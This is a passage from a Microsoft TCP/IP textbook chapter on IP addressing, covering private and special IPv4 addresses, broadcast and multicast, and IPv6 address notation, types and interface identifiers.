RFC 1918 defines the following address prefixes for the private address space:
10.0.0.0/8 (10.0.0.0, 255.0.0.0)
Allows the following range of valid IPv4 unicast addresses: 10.0.0.1 to 10.255.255.254. The
10.0.0.0/8 address prefix has 24 host bits that you can use for any addressing scheme within a
private organization.
172.16.0.0/12 (172.16.0.0, 255.240.0.0)
Allows the following range of valid IPv4 unicast addresses: 172.16.0.1 to 172.31.255.254. The
172.16.0.0/12 address prefix has 20 host bits that you can use for any addressing scheme within a
private organization.
192.168.0.0/16 (192.168.0.0, 255.255.0.0)
Allows the following range of valid IPv4 unicast addresses: 192.168.0.1 to 192.168.255.254. The
192.168.0.0/16 address prefix has 16 host bits that you can use for any addressing scheme within a
private organization.
Because ICANN will never assign the IPv4 addresses in the private address space to an organization
connected to the Internet, Internet routers will never contain routes to private addresses. You cannot
connect to a private address over the Internet. Therefore, a host that has a private address must send
its Internet traffic requests to an Application layer gateway (such as a proxy server) that has a valid
public address or through a network address translation (NAT) device that translates the private
address into a valid public address.
Automatic Private IP Addressing
As described in Chapter 1, "Introduction to TCP/IP," you can configure an interface on a computer
running Windows so that the interface obtains an IPv4 address configuration automatically. If the
computer does not contact a Dynamic Host Configuration Protocol (DHCP) server, the computer uses
its alternate configuration, as specified on the Alternate Configuration tab of the properties dialog box
for the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component.
If the Automatic Private IP Address option is selected on the Alternate Configuration tab and a
DHCP server cannot be found, TCP/IP in Windows uses Automatic Private IP Addressing (APIPA). The
TCP/IP component randomly selects an IPv4 address from the 169.254.0.0/16 address prefix and
assigns the subnet mask of 255.255.0.0. ICANN has reserved this address prefix, and it is not
reachable on the Internet. APIPA allows single-subnet Small Office/Home Office (SOHO) networks to
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 65
use TCP/IP without requiring an administrator to configure and update static addresses or administer a
DHCP server. APIPA does not configure a default gateway. Therefore, you can exchange traffic only
with other nodes on the subnet.
Special IPv4 Addresses
The following are special IPv4 addresses:
0.0.0.0
Known as the unspecified IPv4 address, it indicates the absence of an address. The unspecified
address is used only as a source address when the IPv4 node is not configured with an IPv4
address configuration and is attempting to obtain an address through a configuration protocol such
as DHCP.
127.0.0.1
Known as the IPv4 loopback address, it is assigned to an internal loopback interface. This interface
enables a node to send packets to itself.
Unicast IPv4 Addressing Guidelines
When you assign subnet prefixes to the subnets of an organization, use the following guidelines:
The subnet prefix must be unique within the IPv4 network.
If hosts can directly access the Internet from the subnet, you must use a public IPv4 address prefix
assigned by ICANN or an Internet service provider. If hosts cannot directly access the Internet from
the subnet, use either a legal public address prefix or a private address prefix that is unique within
your private intranet.
The subnet prefix cannot begin with the numbers 0 or 127.
Both of these values for the first octet are reserved, and you cannot use them for IPv4 unicast
addresses.
When you assign host IDs to the interfaces of nodes on an IPv4 subnet, use the following guidelines:
The host ID must be unique within the subnet.
You cannot use the all-zeros or all-ones host IDs.
When defining the range of valid IPv4 unicast addresses for a given address prefix, use the following
standard practice:
For the first IPv4 unicast address in the range, set all the host bits in the address to 0, except for the
low-order bit, which you set to 1.
For the last IPv4 unicast address in the range, set all the host bits in the address to 1, except for the
low-order bit, which you set to 0.
For example, to express the range of addresses for the address prefix 192.168.16.0/20:
The first IPv4 unicast address in the range is 11000000 10101000 00010000 00000001 (host bits are
underlined), or 192.168.16.1.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 66
The last IPv4 unicast address in the range is 11000000 10101000 00011111 11111110 (host bits are
underlined), or 192.168.31.254.
Therefore, the range of addresses for the address prefix 192.168.16.0/20 is 192.168.16.1 to
192.168.31.254.
IPv4 Multicast Addresses
IPv4 uses multicast addresses to deliver single packets from one source to many destinations. On an
IPv4 intranet that is enabled for multicast, routers forward an IPv4 packet addressed to an IPv4
multicast address to the subnets on which hosts are listening to the traffic sent to the IPv4 multicast
address. IPv4 multicast efficiently delivers many types of communication from one source to many
destinations.
IPv4 multicast addresses are defined by the class D Internet address class: 224.0.0.0/4. IPv4 multicast
addresses range from 224.0.0.0 through 239.255.255.255. IPv4 multicast addresses for the
224.0.0.0/24 address prefix (224.0.0.0 through 224.0.0.255) are reserved for multicast traffic on a local
subnet.
For more information about IPv4 multicast addresses and processes, see Appendix B, "IP Multicast."
IPv4 Broadcast Addresses
IPv4 uses a set of broadcast addresses to deliver packets from one source to all interfaces on the
subnet. All the interfaces on the subnet process packets sent to IPv4 broadcast addresses. The
following are the types of IPv4 broadcast addresses:
Network broadcast
Formed by setting all the host bits to 1 for a classful address prefix. For example, 131.107.255.255
is a network broadcast address for the classful address prefix 131.107.0.0/16. Network broadcasts
send packets to all interfaces of a classful network. IPv4 routers do not forward network broadcast
packets.
Subnet broadcast
Formed by setting all the host bits to 1 for a classless address prefix. For example, 131.107.26.255
is a network broadcast address for the classless address prefix 131.107.26.0/24. Subnet
broadcasts are used to send packets to all hosts of a classless network. IPv4 routers do not forward
subnet broadcast packets.
For a classful address prefix, there is no subnet broadcast address, only a network broadcast
address. For a classless address prefix, there is no network broadcast address, only a subnet
broadcast address.
All-subnets-directed broadcast
Formed by setting the classful address prefix host bits to 1 for a classless address prefix. The all-
subnets-directed broadcast address is deprecated in RFC 1812. A packet addressed to the all-
subnets-directed broadcast address was defined to reach all hosts on all of the subnets of a
classful address prefix that has been subnetted. For example, 131.107.255.255 is the all-subnets-
directed broadcast address for the subnetted address prefix 131.107.26.0/24. The all-subnets-
directed broadcast address is the network broadcast address of the original classful address prefix.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 67
Limited broadcast
Formed by setting all 32 bits of the IPv4 address to 1 (255.255.255.255). The limited broadcast
address is used for one-to-everyone delivery on the local subnet when the local subnet prefix is
unknown. IPv4 nodes typically use the limited broadcast address only during an automated
configuration process such as Boot Protocol (BOOTP) or DHCP. For example, a DHCP client must
use the limited broadcast address for all traffic sent before the DHCP server acknowledges the use
of the offered IPv4 address configuration.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 68
IPv6 Addressing
The most obvious difference between IPv6 and IPv4 is address size. An IPv6 address is 128 bits long,
which is four times larger than an IPv4 address. A 32-bit address space allows for 232 or 4,294,967,296
possible addresses. A 128-bit address space allows for 2128 or
340,282,366,920,938,463,463,374,607,431,768,211,456 (or 3.41038 or 340 undecillion) possible
addresses.
The IPv4 address space was designed in the late 1970s when few people, if any, imagined that the
addresses could be exhausted. However, due to the original allocation of Internet address class-based
address prefixes and the recent explosion of hosts on the Internet, the IPv4 address space was
consumed to the point that by 1992 it was clear a replacement would be necessary.
With IPv6, it is even harder to conceive that the IPv6 address space will be consumed. To help put this
in perspective, a 128-bit address space provides 655,570,793,348,866,943,898,599 (6.51023)
addresses for every square meter of the Earth’s surface. The decision to make the IPv6 address 128
bits long was not so that every square meter of the Earth could have 6.51023 addresses. Rather, the
relatively large size of the IPv6 address space is designed for efficient address allocation and routing
that reflects the topology of the modern-day Internet and to accommodate 64-bit media access control
(MAC) addresses that newer networking technologies are using. The use of 128 bits allows for multiple
levels of hierarchy and flexibility in designing hierarchical addressing and routing, which the IPv4-based
Internet lacks.
RFC 4291 describes the IPv6 addressing architecture.
IPv6 Address Syntax
IPv4 addresses are represented in dotted decimal notation. For IPv6, the 128-bit address is divided
along 16-bit boundaries, each 16-bit block is converted to a 4-digit hexadecimal number (the Base16
numbering system), and adjacent 16-bit blocks are separated by colons. The resulting representation is
known as colon-hexadecimal.
The following is an IPv6 address in binary form:
0011111111111110001010010000000011010000000001010000000000000000
0000001010101010000000001111111111111110001010001001110001011010
The 128-bit address is divided along 16-bit boundaries:
0011111111111110 0010100100000000 1101000000000101 0000000000000000
0000001010101010 0000000011111111 1111111000101000 1001110001011010
Each 16-bit block is converted to hexadecimal, and adjacent blocks are separated with colons. The
result is:
3FFE:2900:D005:0000:02AA:00FF:FE28:9C5A
IPv6 representation can be further simplified by removing the leading zeros within each 16-bit block.
However, each block must have at least a single digit. With leading zero suppression, the address
becomes:
3FFE:2900:D005:0:2AA:FF:FE28:9C5A
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 69
Converting Between Binary and Hexadecimal
The hexadecimal numbering system uses the digits 0 through 9, A, B, C, D, E, and F and the
exponential powers of 16 to express a number. Table 3-4 lists decimal, hexadecimal, and binary
equivalents of the numbers 0-15.
Decimal
Hexadecimal
Binary
0
0
0000
1
1
0001
2
2
0010
3
3
0011
4
4
0100
5
5
0101
6
6
0110
7
7
0111
8
8
1000
9
9
1001
10
A
1010
11
B
1011
12
C
1100
13
D
1101
14
E
1110
15
F
1111
Table 3-4 Decimal, Hexadecimal, and Binary Conversions
To convert a hexadecimal number to a binary number, convert each hexadecimal digit to its 4-bit
equivalent. For example, to convert the hexadecimal number 0x03D8 to binary, convert each
hexadecimal digit (0, 3, D, and 8) to binary. Therefore, 0x03D8 is 0000 0011 1101 1000, or
0000001111011000.
To convert a binary number to a hexadecimal number, segment the binary number into 4-bit blocks
starting from the low-order bit. Then convert each 4-bit block to its hexadecimal equivalent. For
example, to convert the binary number 0110000110101110 to hexadecimal, first divide the entire
number into 4-bit blocks, which are 0110 0001 1010 1110. Then, convert each block to hexadecimal
digits, which are 0x61AE.
Although you can use the calculator in Windows Server 2003 or Windows XP to convert between
hexadecimal and binary, it helps you to better understand the conversions if you can do them manually.
To convert between decimal and hexadecimal, which you will not need often for IPv6 addresses, use
the Windows calculator.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 70
Compressing Zeros
Some types of addresses contain long sequences of zeros. To further simplify the representation of
IPv6 addresses, you can compress a single contiguous sequence of 16-bit blocks set to 0 in the colon
hexadecimal format to “::”, known as double-colon.
For example, you can compress the unicast IPv6 address of FE80:0:0:0:2AA:FF:FE9A:4CA2 to
FE80::2AA:FF:FE9A:4CA2, and you can compress the multicast IPv6 address FF02:0:0:0:0:0:0:2 to
FF02::2.
You can use zero compression to compress only a single contiguous series of 16-bit blocks expressed
in colon hexadecimal notation. You cannot use zero compression to include part of a 16-bit block. For
example, you cannot express FF02:30:0:0:0:0:0:5 as FF02:3::5.
To determine how many 0 bits are represented by the “::”, you can count the number of blocks in the
compressed address, subtract this number from 8, and then multiply the result by 16. For example, the
address FF02::2 has two blocks (the “FF02” block and the “2” block), so the other six blocks of 16 bits
(96 bits total) have been compressed.
You can use zero compression only once in a given address. Otherwise, you could not determine the
number of 0 bits represented by each instance of “::”. If an address contains two series of zero blocks of
the same length and no series of zero blocks is longer, then by convention the left-most block is
expressed as “::”.
IPv6 Address Prefixes
You express IPv6 address ranges as address prefixes in the same manner as you express IPv4
address ranges using prefix length notation. For example, FF00::/8 is an address range, 2001:DB8::/32
is a route prefix, and 2001:DB8:0:2F3B::/64 is a subnet prefix. You do not express an address prefix
using a colon hexadecimal equivalent of an IPv4 subnet mask.
Types of IPv6 Addresses
IPv6 has three types of addresses:
Unicast
A unicast address identifies a single interface within the scope of the type of unicast address. With
the appropriate unicast routing topology, packets addressed to a unicast address are delivered to a
single interface. A unicast address is used for communication from one source to a single
destination.
Multicast
A multicast address identifies multiple interfaces. With the appropriate multicast routing topology,
packets addressed to a multicast address are delivered to all interfaces that are identified by the
address. A multicast address is used for communication from one source to many destinations, with
delivery to multiple interfaces.
Anycast
An anycast address identifies multiple interfaces. With the appropriate routing topology, packets
addressed to an anycast address are delivered to a single interface, the nearest interface that the
address identifies. The “nearest” interface is defined as being closest in terms of routing distance.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 71
An anycast address is used for communication from one source to one of multiple destinations, with
delivery to a single interface.
IPv6 addresses always identify interfaces, not nodes. A node is identified by any unicast address
assigned to one of its interfaces.
RFC 4291 does not define any types of broadcast addresses. Instead, IPv6 multicast addresses are
used. For example, the subnet and limited broadcast addresses from IPv4 are replaced with the
reserved IPv6 multicast address of FF02::1.
IPv6 Unicast Addresses
The following types of addresses are unicast IPv6 addresses:
Global unicast addresses
Link-local addresses
Site-local addresses
Unique local addresses
Special IPv6 addresses
Transition addresses
Global Unicast Addresses
Global unicast addresses are equivalent to public IPv4 addresses. They are globally routable and
reachable on the IPv6 portion of the Internet, known as the IPv6 Internet.
Global unicast addresses can be aggregated or summarized to produce an efficient routing
infrastructure. The current IPv4-based Internet is a mixture of both flat and hierarchical routing, but the
IPv6-based Internet has been designed from its foundation to support efficient, hierarchical addressing
and routing. Global unicast addresses are unique across their scope, which is the entire IPv6 Internet.
For more information about routing infrastructure including route aggregation and summarization, see
Chapter 5, "IP Routing."
Figure 3-7 shows the general structure of a global unicast address as defined in RFC 3587.
Figure 3-7 Structure of a global unicast address as defined in RFC 3587
Figure 3-8 shows the structure of global unicast addresses being allocated by IANA at the time of this
writing, as defined in RFC 3587.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 72
Figure 3-8 Global unicast addresses being currently assigned by IANA
The fields in the global unicast address are:
Fixed Portion (set to 001)
The three high-order bits are set to 001. The address prefix for currently assigned global addresses
is 2000::/3.
Global Routing Prefix
The global routing prefix identifies a specific organization's site. The combination of the three fixed
bits and the 45-bit Global Routing Prefix is used to create a 48-bit site address prefix, which is
assigned to the individual sites of an organization. Once assigned, routers on the IPv6 Internet
forward IPv6 traffic matching the 48-bit address prefix to the routers of the organization's site.
Subnet ID
The Subnet ID identifies subnets within an organization's site. This field is 16 bits long. The
organization's site can use these 16 bits within its site to create 65,536 subnets or multiple levels of
addressing hierarchy and an efficient routing infrastructure.
Interface ID
The Interface ID indicates an interface on a subnet within the site. This field is 64 bits long.
For example, 2001:DB8:2A3C:F282:2B0:D0FF:FEE9:4143 is a global unicast IPv6 address. Within this
address:
2001:DB8:2A3C indicates an organization's site
F282 indicates a subnet within that site
2B0:D0FF:FEE9:4143 indicates an interface on that subnet within that site
The fields within the global unicast address as defined in RFC 3587 create a three-level structure, as
Figure 3-9 shows.
Figure 3-9 The three-level structure of a global unicast address as defined in RFC 3587
The public topology is the collection of larger and smaller ISPs that provide access to the IPv6 Internet
and the organizations that connect to the IPv6 Internet. The site topology is the collection of subnets
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 73
within an organization’s site. The interface identifier identifies a specific interface on a subnet within an
organization’s site.
Local-use unicast addresses fall into two categories:
Link-local addresses are used between on-link neighbors and for Neighbor Discovery processes, which
define how nodes on an IPv6 subnet interact with hosts and routers.
Site-local addresses are used between nodes communicating with other nodes in the same site of an
organization’s intranet.
Link-Local Addresses
Nodes use link-local addresses when communicating with neighboring nodes on the same link, also
known as a subnet. For example, on a single-link IPv6 network with no router, link-local addresses are
used to communicate between hosts on the link. Link-local addresses are equivalent to APIPA IPv4
addresses autoconfigured on computers that are running Windows. The scope of a link-local address
(the region of the network across which the address is unique) is the local link.
A link-local address is required for Neighbor Discovery processes and is always automatically
configured, even in the absence of all other unicast addresses.
For more information about IPv6 address autoconfiguration for link-local addresses, see Chapter 6,
"Dynamic Host Configuration Protocol."
Figure 3-10 shows the structure of the link-local address.
Figure 3-10 Structure of the link-local address
Because the first 64 bits of the link-local address are fixed, the address prefix for all link-local addresses
is FE80::/64.
An IPv6 router never forwards link-local traffic beyond the link.
Site-Local Addresses
Site-local addresses are equivalent to the IPv4 private address space. Private intranets that do not
have a direct, routed connection to the IPv6 Internet can use site-local addresses without conflicting
with global addresses. Site-local addresses are not reachable from other sites, and routers must not
forward site-local traffic outside the site. Site-local addresses can be used in addition to global
addresses. The scope of a site-local address is a site (a portion of an organization network that has
defined geographical, topological, or network bandwidth boundaries).
Unlike link-local addresses, site-local addresses are not automatically configured and must be assigned
either through stateless or stateful address configuration.
Figure 3-11 shows the structure of the site-local address.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 74
Figure 3-11 Structure of the site-local address
The first 10 bits of site-local addresses are fixed at 1111 1110 11. Therefore, the address prefix for all
site-local addresses is FEC0::/10. Beyond the 10 high-order fixed bits is a 54-bit Subnet ID field that
you can use to create subnets within your organization. With 54 bits, you can have up to 254 subnets in
a flat subnet structure, or you can subdivide the high-order bits of the Subnet ID field to create a
hierarchical and summarizable routing infrastructure. After the Subnet ID field is a 64-bit Interface ID
field that identifies a specific interface on a subnet.
Note RFC 3879 formally deprecates the use of site-local addresses for future IPv6 implementations.
Existing implementations of IPv6 can continue to use site-local addresses. RFC 4291 and includes the
deprecation of site-local addresses.
Zone IDs for Local-Use Addresses
Local-use addresses are not unique within an organization intranet. Link-local addresses can be
duplicated per link (subnet). Site-local addresses can be duplicated per site. Therefore, when specifying
a link-local destination address, you must specify the link on which the destination is located. For a site-
local destination address when you are using multiple sites, you must specify the site in which the
destination is located. You use a zone ID to specify the portion or zone of the network on which the
destination can be reached. In the Ping, Tracert, and Pathping commands, the syntax for specifying a
zone ID is IPv6Address%ZoneID.
For link-local destinations, ZoneID is typically equal to the interface index of the interface attached to
the link on which the destination is located. The interface index is an internal number assigned to an
IPv6 interface that is visible from the display of the netsh interface ipv6 show interface command.
For site-local addresses, ZoneID is equal to the site number that is visible from the display of the netsh
interface ipv6 show address level=verbose command. If multiple sites are not being used, a zone ID
for site-local addresses is not required. The ZoneID parameter is not needed when the destination is a
global unicast address.
Unique Local Addresses
Site-local addresses provide a private addressing alternative to using global addresses for intranet
traffic. However, because the site-local address prefix can be reused to address multiple sites within an
organization, a site-local address prefix can be duplicated. The ambiguity of site-local addresses in an
organization adds complexity and difficulty for applications, routers, and network managers. For more
information, see section 2 of RFC 3879.
To replace site-local addresses with a new type of address that is private to an organization, yet unique
across all of the sites of the organization, RFC 4193 defines unique local IPv6 unicast addresses.
Figure 3-12 shows the structure of unique local addresses.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 75
Figure 3-12 The unique local address
The first 7 bits have the fixed binary value of 1111110. All unique local addresses have the address
prefix FC00::/7. The Local (L) flag is set 1 to indicate a local address. The L flag value set to 0 has not
yet been defined. Therefore, unique local addresses with the L flag set to 1 have the address prefix of
FD00::/8. The Global ID identifies a specific site within an organization and is set to a randomly derived
40-bit value. By deriving a random value for the Global ID, an organization can have statistically unique
48-bit prefixes assigned to the sites of their organizations. Additionally, two organizations that use
unique local addresses that merge have a low probability of duplicating a 48-bit unique local address
prefix, minimizing site renumbering. Unlike the Global Routing Prefix in global addresses, you should
not assign Global IDs in unique local address prefixes so that they can be summarized.
The global address and unique local address share the same structure beyond the first 48 bits of the
address. In global addresses, the Subnet ID field identifies the subnet within an organization. For
unique local addresses, the Subnet ID field can perform the same function. Therefore, you can create a
subnet numbering scheme that can be used for both local and global unicast addresses.
Special IPv6 Addresses
The following are special IPv6 addresses:
Unspecified address
The unspecified address (0:0:0:0:0:0:0:0 or ::) indicates the absence of an address and is
equivalent to the IPv4 unspecified address of 0.0.0.0. The unspecified address is typically used as
a source address for packets attempting to verify the uniqueness of a tentative address. The
unspecified address is never assigned to an interface or used as a destination address.
Loopback address
The loopback address (0:0:0:0:0:0:0:1 or ::1) identifies a loopback interface. This address enables a
node to send packets to itself and is equivalent to the IPv4 loopback address of 127.0.0.1. Packets
addressed to the loopback address are never sent on a link or forwarded by an IPv6 router.
Transition Addresses
To aid in the transition from IPv4 to IPv6, the following addresses are defined:
IPv4-compatible address
The IPv4-compatible address, 0:0:0:0:0:0:w.x.y.z or ::w.x.y.z (where w.x.y.z is the dotted decimal
representation of a public IPv4 address), is used by IPv6/IPv4 nodes that are communicating using
IPv6. IPv6/IPv4 nodes are nodes with both IPv4 and IPv6 protocols. When the IPv4-compatible
address is used as an IPv6 destination, the IPv6 traffic is automatically encapsulated with an IPv4
header and sent to the destination using the IPv4 infrastructure. IPv6 for Windows Server 2003 and
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 76
Windows XP supports IPv4-compatible addresses, but they are disabled by default. IPv6 for
Windows Server 2008 and Windows Vista does not support IPv4-compatible addresses.
IPv4-mapped address
The IPv4-mapped address, 0:0:0:0:0:FFFF:w.x.y.z or ::FFFF:w.x.y.z, represents an IPv4-only node
to an IPv6 node. IPv4-mapped addresses are used for internal representation only. The IPv4-
mapped address is never used as a source or destination address of an IPv6 packet. IPv6 for
Windows Server 2003 and Windows XP does not support IPv4-mapped addresses. IPv6 for
Windows Server 2008 and Windows Vista supports IPv4-mapped addresses.
6to4 address
The 6to4 address is used for communicating between two nodes running both IPv4 and IPv6 over
the Internet. You form the 6to4 address by combining the global prefix 2002::/16 with the 32 bits of
a public IPv4 address of the node, forming a 48-bit prefix. 6to4 is an IPv6 transition technology
described in RFC 3056.
ISATAP address
The Intra-Site Automatic Tunnel Addressing Protocol (ISATAP) defines ISATAP addresses used
between two nodes running both IPv4 and IPv6 over a private intranet. ISATAP addresses use the
locally administered interface ID ::0:5EFE:w.x.y.z in which w.x.y.z is a private IPv4 address and
::200:5EFE:w.x.y.z in which w.x.y.z is a public IPv4 address. You can combine the ISATAP
interface ID with any 64-bit prefix that is valid for IPv6 unicast addresses, including the link-local
address prefix (FE80::/64), unique local prefixes, and global prefixes. ISATAP is an IPv6 transition
technology described in RFC 4214.
Teredo address
The Teredo address is used for communicating between two nodes running both IPv4 and IPv6
over the Internet when one or both of the endpoints are located behind an IPv4 network address
translation (NAT) device. You form the Teredo address by combining the 2001::/32-bit Teredo
prefix with the public IPv4 address of a Teredo server and other elements. Teredo is an IPv6
transition technology described in RFC 4380.
For more information about IPv4-compatible, 6to4, ISATAP, and Teredo addresses, see Chapter 15,
"IPv6 Transition Technologies."
IPv6 Interface Identifiers
The last 64 bits of a unicast IPv6 address are the interface identifier that is unique to the 64-bit prefix of
the IPv6 address. IPv6 interface identifiers are determined as follows:
A permanent interface identifier that is randomly derived. This is the default for Windows Server 2008
and Windows Vista.
An interface identifier that is derived from the Extended Unique Identifier (EUI)-64 address. This is the
default for Windows Server 2003 and Windows XP.
A randomly generated interface identifier that changes over time to provide a level of anonymity.
An interface identifier that is assigned during stateful address autoconfiguration (for example, through
Dynamic Host Configuration Protocol for IP version 6 [DHCPv6]).
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 77
EUI-64 Address-based Interface Identifiers
RFC 4291 states that all unicast addresses that use the prefixes 001 through 111 must also use a 64-
bit interface identifier derived from the EUI-64 address, a 64-bit address that is defined by the IEEE.
EUI-64 addresses are either assigned to a network adapter or derived from IEEE 802 addresses.
A traditional interface identifier for a network adapter uses a 48-bit address called an IEEE 802
address. It consists of a 24-bit company ID (also called the manufacturer ID) and a 24-bit extension ID
(also called the board ID). The combination of the company ID, which is uniquely assigned to each
manufacturer of network adapters, and the board ID, which is uniquely assigned to each network
adapter at the time of assembly, produces a globally unique 48-bit address. This 48-bit address is also
called the physical, hardware, or MAC address.
Figure 3-13 shows the structure of the 48-bit IEEE 802 address.
Figure 3-13 Structure of the 48-bit IEEE 802 address
Defined bits within the IEEE 802 address are:
Universal/Local (U/L)
The next-to-the-low-order bit in the first byte indicates whether the address is universally or locally
administered. If the U/L bit is set to 0, the IEEE (through the designation of a unique company ID)
has administered the address. If the U/L bit is set to 1, the address is locally administered. The
network administrator has overridden the manufactured address and specified a different address.
The U/L bit is designated by the u in Figure 3-13.
Individual/Group (I/G)
The low order bit of the first byte indicates whether the address is an individual address (unicast) or
a group address (multicast). When set to 0, the address is a unicast address. When set to 1, the
address is a multicast address. The I/G bit is designated by the g in Figure 3-13.
For a typical 802 network adapter address, both the U/L and I/G bits are set to 0, corresponding to a
universally administered, unicast MAC address.
The IEEE EUI-64 address represents a new standard for network interface addressing. The company
ID is still 24 bits long, but the extension ID is 40 bits, creating a much larger address space for a
network adapter manufacturer. The EUI-64 address uses the U/L and I/G bits in the same way as the
IEEE 802 address.
Figure 3-14 shows the structure of the EUI-64 address.
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 78
Figure 3-14 Structure of the EUI-64 address
Figure 3-15 shows how to create an EUI-64 address from an IEEE 802 address. You insert the 16 bits
11111111 11111110 (0xFFFE) into the IEEE 802 address between the company ID and the extension
ID.
Figure 3-15 Converting an IEEE 802 address to an EUI-64 address
To obtain the 64-bit interface identifier for IPv6 unicast addresses, the U/L bit in the EUI-64 address is
complemented. (If it is a 1, it is set to 0; and if it is a 0, it is set to 1.) Figure 3-16 shows the conversion
for a universally administered, unicast EUI-64 address.
Figure 3-16 Converting a universally administered, unicast EUI-64 address to an IPv6 interface identifier
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 79
To obtain an IPv6 interface identifier from an IEEE 802 address, you must first map the IEEE 802
address to an EUI-64 address, and then you complement the U/L bit. Figure 3-17 shows this
conversion for a universally administered, unicast IEEE 802 address.
Figure 3-17 Converting a universally administered, unicast IEEE 802 address to an IPv6 interface identifier
IEEE 802 Address Conversion Example
Host A has the Ethernet MAC address of 00-AA-00-3F-2A-1C. First, you convert it to EUI-64 format by
inserting FF-FE between the third and fourth bytes, yielding 00-AA-00-FF-FE-3F-2A-1C. Then you
complement the U/L bit, which is the seventh bit in the first byte. The first byte in binary form is
00000000. When you complement the seventh bit, it becomes 00000010 (0x02). When you convert the
final result, 02-AA-00-FF-FE-3F-2A-1C, to colon hexadecimal notation, it becomes the interface
identifier 2AA:FF:FE3F:2A1C. As a result, the link-local address that corresponds to the network
adapter with the MAC address of 00-AA-00-3F-2A-1C is FE80::2AA:FF:FE3F:2A1C.
When you complement the U/L bit, add 0x2 to the first byte if the address is universally administered,
and subtract 0x2 from the first byte if the address is locally administered.
Temporary Address Interface Identifiers
In today’s IPv4-based Internet, a typical Internet user connects to an Internet service provider (ISP) and
obtains an IPv4 address using the Point-to-Point Protocol (PPP) and the Internet Protocol Control
Protocol (IPCP). Each time the user connects, a different IPv4 address might be obtained, making it
difficult to track a dial-up user’s traffic on the Internet on the basis of an IPv4 address.
For IPv6-based dial-up connections, the user is assigned a 64-bit prefix after the connection is made
through router discovery and stateless address autoconfiguration. If the interface identifier is always
based on the EUI-64 address (as derived from the static IEEE 802 address), an attacker can identify
the traffic of a specific node regardless of the prefix, making it easy to track specific users and how they
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 80
use the Internet. To address this concern and provide a level of anonymity, RFC 4941 describes an
alternative IPv6 interface identifier that is randomly generated and changes over time.
The initial interface identifier is generated by using random numbers. For IPv6 systems that cannot
store any historical information for generating future interface identifier values, a new random interface
identifier is generated each time the IPv6 protocol is initialized. For IPv6 systems that have storage
capabilities, a history value is stored and, when the IPv6 protocol is initialized, a different interface
identifier is created through the following process:
1. Retrieve the history value from storage, and append the interface identifier based on the EUI-64
address of the adapter.
2. Compute the Message Digest-5 (MD5) hash algorithm over the quantity in step 1. A hash produces a
fixed size mathematical result from an input. Hashes are easy to compute, but it is computationally
difficult to determine the input from the hash result.
3. Save the last 64 bits of the MD5 hash computed in step 2 as the history value for the next interface
identifier computation.
4. Take the first 64 bits of the MD5 hash computed in Step 2, and set the seventh bit to 0. The seventh
bit corresponds to the U/L bit, which, when set to 0, indicates a locally administered IPv6 interface
identifier. The result is the IPv6 interface identifier.
The resulting IPv6 address, based on this random interface identifier, is known as a temporary address.
Temporary addresses are generated for public address prefixes that use stateless address
autoconfiguration.
IPv6 Multicast Addresses
IPv6 multicast addresses have the first eight bits fixed at 1111 1111. Therefore the address prefix for all
IPv6 multicast addresses is FF00::/8. Beyond the first eight bits, multicast addresses include additional
structure to identify flags, their scope, and the multicast group. Figure 3-18 shows the structure of the
IPv6 multicast address.
Figure 3-18 The structure of the IPv6 multicast address
The fields in the multicast address are:
Flags
Indicates flags set on the multicast address. The size of this field is 4 bits. RFC 4291defines the
Transient (T) flag, which uses the low-order bit of the Flags field. When set to 0, the T flag indicates
that the multicast address is a permanently assigned (well-known) multicast address allocated by
the IANA. When set to 1, the T flag indicates that the multicast address is a transient (non-
permanently-assigned) multicast address.
Scope
Chapter 3 – IP Addressing
TCP/IP Fundamentals for Microsoft Windows
Page: 81
Indicates the scope of the IPv6 network for which the multicast traffic must be delivered. The size of
this field is 4 bits. Routers use the multicast scope and information provided by multicast routing
protocols to determine whether multicast traffic can be forwarded.
RFC 4291 defines the values for the Scope field. The most prevalent values for the Scope field are
1 (interface-local scope), 2 (link-local scope), and 5 (site-local scope).
Group ID
Identifies the multicast group and is unique within the scope. The size of this field is 112 bits.
Permanently assigned group IDs are independent of the scope. Transient group IDs are relevant
only to a specific scope.
To identify all nodes for the interface-local and link-local scopes, the following addresses are defined:
FF01::1 (interface-local scope, all-nodes multicast address)
FF02::1 (link-local scope, all-nodes multicast address)
To identify all routers for the interface-local, link-local, and site-local scopes, the following addresses
are defined:
FF01::2 (interface-local scope, all-routers multicast address)
FF02::2 (link-local scope, all-routers multicast address)
FF05::2 (site-local scope, all-routers multicast address)
For the current list of permanently assigned IPv6 multicast addresses, see
http://www.iana.org/assignments/ipv6-multicast-addresses.
IPv6 multicast addresses replace all forms of IPv4 broadcast addresses. The link-local scope, all-nodes
multicast address (FF02::1) in IPv6 replaces the IPv4 network broadcast address (in which all host bits
are set to 1 in a classful environment), the subnet broadcast address (in which all host bits are set to 1
in a classless environment), and the limited broadcast address (255.255.255.255).
For more information about IPv6 multicast addresses and processes, see Appendix A, "IP Multicast."
Solicited-Node Multicast Address
The solicited-node multicast address facilitates the efficient querying of network nodes to resolve a link-
layer address from a known IPv6 address, known as link-layer address resolution. In IPv4, the ARP
Request frame on Ethernet and 802.11 wireless network segments is sent to the broadcast address
0xFF-FF-FF-FF-FF-FF. This frame disturbs all nodes on the network segment, including those that are
not running IPv4. IPv6 uses the Neighbor Solicitation message to perform link-layer address resolution.
